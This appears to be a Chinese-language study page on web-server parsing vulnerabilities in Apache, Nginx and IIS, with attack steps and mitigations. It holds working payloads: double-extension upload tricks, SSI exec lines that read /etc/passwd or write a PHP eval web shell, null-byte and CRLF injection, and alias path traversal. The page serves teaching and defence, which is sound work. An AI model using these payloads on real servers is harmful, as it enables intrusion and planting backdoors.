中间件解析漏洞

1
AddHandler application/x-httpd-php .php

1
1. 上传 shell.php.png（白名单允许 .png）
2
2. Apache 识别到 .php → 作为 PHP 解析

1
1. Apache 以模块形式运行（非 CGI/FastCGI）
2
2. 配置中存在 AddHandler application/x-httpd-php .php
3
3. 未修改文件名

1
1. 修改文件名（随机重命名）
2
2. 取消 AddHandler 配置中的多后缀支持
3
3. 使用白名单限制上传类型

1
shell.php\x0A  → Apache 解析为 PHP 文件

1
<!--#exec cmd="命令" -->

1
<!--#exec cmd="cat /etc/passwd" -->

1
<!--#exec cmd="echo '<?php eval($_REQUEST[6]);?>' > /var/www/html/shell.php" -->

1
1. 关闭 SSI 功能
2
2. 过滤 SSI 特殊字符（<, >, #, -, "）

1
1. 上传图片马 shell.jpg
2
2. 访问 /shell.jpg/shell.php
3
3. PHP 处理时退回 shell.jpg → 执行其中的 PHP 代码

1
1. 上传 shell.gif（文件名后加空格 [0x20]）
2
2. 访问 /uploadfiles/shell.gif[0x20][0x00].php
3
3. 抓包，将两个字符分别改为 20 和 00
4
4. 发送请求 → 图片马被解析为 PHP

1
Nginx 检测到空格 → 跳转到 sw_check_uri 继续处理
2
→ 零截断符被跳过 → 逻辑漏洞

1
http://target.com/%0d%0aSet-Cookie:evil=1

1
location / {
2
    return 302 https://$host$uri;
3
}

1
location /files {
2
    alias /home/;
3
}

1
http://target.com/files../ → 访问根目录

1
location /files/ {
2
    alias /home/;
3
}

1
add_header X-Frame-Options "SAMEORIGIN";
2

3
location /test2/ {
4
    add_header X-Content-Type-Options "nosniff";  # 覆盖父块
5
}

1
1. php.ini 中 cgi.fix_pathinfo = 1
2
2. Handler Mapping 中未勾选特定选项（取消对路径的检查）

1
1. 上传图片马 shell.jpg
2
2. 访问 /shell.jpg/1.php
3
3. 文件被当作 PHP 解析

1
1. php.ini: cgi.fix_pathinfo = 0
2
2. Handler Mapping 中勾选相应限制
3
3. 升级到 IIS 7.5+

1
/a.asp/
2
  ├── 1.txt      → 被解析为 ASP 执行
3
  └── image.jpg  → 被解析为 ASP 执行

1
shell.asp;.jpg  → 视为 .asp 文件执行

1
上传 shell.asp;.jpg → IIS 解析为 ASP 执行